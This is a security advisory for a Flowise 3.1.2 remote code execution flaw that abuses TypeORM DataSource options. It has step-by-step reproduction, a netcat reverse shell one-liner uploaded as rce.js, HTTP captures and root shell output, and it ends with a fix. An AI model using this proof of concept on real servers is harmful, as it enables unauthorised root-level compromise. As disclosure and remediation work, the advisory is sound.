CVE-2026-69251

Ein Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um beliebigen Code auszuführen – sogar mit Root-Rechten –, erweiterte Privilegien zu erlangen, Sicherheitsmaßnahmen zu umgehen, Sitzungen zu kapern sowie Daten offenzulegen oder zu manipulieren.

============================================================================= Security Advisory elttam Topic: Flowise RCE via TypeORM DataSource Module: FlowiseAI/Flowise Disclosed: 15-Apr-2026 Credits: Alex Brown Affects: `FlowiseAI/Flowise 3.1.2` # I. Background Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding. Flowise allows users to connect to remote databases within a flow, which is performed using the [TypeORM `DataSource`](https://typeorm.io/docs/data-source/data-source). # II. Problem Description The following nodes allowed users to set arbitrary options for the TypeORM `DataSource` class using the `additionalConfig` node input: * [packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts#L122) * [packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts) * [packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts) * [packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts) * [packages/components/nodes/memory/AgentMemory/AgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/AgentMemory.ts) This is considered a dangerous coding practice, because the [options for the TypeORM `DataSource` class support loading local files as JavaScript code](https://typeorm.io/docs/data-source/data-source). The following documents the steps to reproduce this RCE vulnerability by abusing the `additionalConfig` input on a MySQL Record Manager (`packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts`) node: 1. Log into a Flowise instance and note the organisation ID in the response from `POST /api/v1/auth/login`, as shown below. ```http HTTP/1.1 200 OK Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax Content-Type: application/json; charset=utf-8 Content-Length: 671 ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE" Date: Wed, 15 Apr 2026 10:58:44 GMT Connection: keep-alive Keep-Alive: timeout=5 { "activeOrganizationCustomerId": null, "activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1> "activeOrganizationProductId": "", "activeOrganizationSubscriptionId": null, "activeWorkspace": "Default Workspace", "activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e", "assignedWorkspaces": [ { "id": "3206d8d3-944f-48c6-9332-11e2752b793e", "name": "Default Workspace", "organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1> "role": "owner" } ], "email": "admin@flowise.local", "features": {}, "id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab", "isOrganizationAdmin": true, "isSSO": false, "name": "Admin", "permissions": [ "organization", "workspace" ], "roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1" } ``` <1> The organisation ID that is required for a later step. 2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the `vm2` sandbox. The following script is a reverse shell payload that connects to `172.17.0.1:1337` that had a filename of `rce.js`. ```js process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh') ``` 3. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the `POST /api/v1/document-store/loader/process/{loader_id}` endpoint and retrieve the `storeId`, as demonstrated in the response below. ```http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 1000 ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o" Date: Wed, 15 Apr 2026 10:59:34 GMT Connection: keep-alive Keep-Alive: timeout=5 { "characters": 94, "chunks": [ { "chunkNo": 1, "docId": "544ff838-bc55-4b28-97a1-c7442710b014", "id": "7f5f4d41-f684-4b16-9b3c-c1623678e7a0", "metadata": "{\"source\":\"blob\",\"blobType\":\"\"}", "pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')", "storeId": "afb065cc-8b53-4ff3-82d3-a19e012a2ecb" <1> } ], "count": 1, "currentPage": 1, "description": "", "docId": "544ff838-bc55-4b28-97a1-c7442710b014", "file": { "files": [ { "id": "5becc8f6-713b-4c6b-8ca8-3275791a730c", "mimePrefix": "application/x-javascript", "name": "rce.js", "size": 94, "status": "NEW", "uploaded": "2026-04-15T10:59:34.039Z" } ], "id": "544ff838-bc55-4b28-97a1-c7442710b014", "loaderConfig": { "file": "FILE-STORAGE::[\"rce.js\"]", "legacyBuild": "", "metadata": "", "omitMetadataKeys": "", "pointerName": "", "textSplitter": "", "usage": "perPage" }, "loaderId": "fileLoader", "loaderName": "RCE File", "status": "SYNC", "totalChars": 94, "totalChunks": 1 }, "storeName": "RCE POC Store", "workspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e" } ``` <1> The store ID that is required for a later step. 4. Import the following Chatflow and configure the "MySQL Record Manager", "OpenAI Embedding" and "Weaviate" nodes. [typeorm-datasource-rce.json](https://github.com/user-attachments/files/26752045/typeorm-datasource-rce.json) 5. Open the "Additional Parameters" window for the "MySQL Record Manager" node replace the placeholder values in the `additionalConfig.entities` setting. The `${HOME}` is the home directory of the user running the Flowise server (e.g., [`/root` on the published Docker image](https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff)). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps. <img width="2229" height="1148" alt="mysql-datasource-config" src="https://github.com/user-attachments/assets/f4351ee2-9761-458d-a2f8-cf21383394a2" /> 6. Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below. ``` $ nc -lnvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.17.0.2 43421 id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) ``` # III. Impact This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application. # IV. Solution Do not allow users full control of the options for the TypeORM `DataSource` class. The following [`DataSource` options](https://typeorm.io/docs/data-source/data-source-options/) are considered dangerous and should not be allowed: * `extra`: Could be abused to provide dangerous driver options. * `entities`: Could be abused to load arbitrary JavaScript files. * `subscribers`: Could be abused to load arbitrary JavaScript files. * `migrations`: Could be abused to load arbitrary JavaScript files.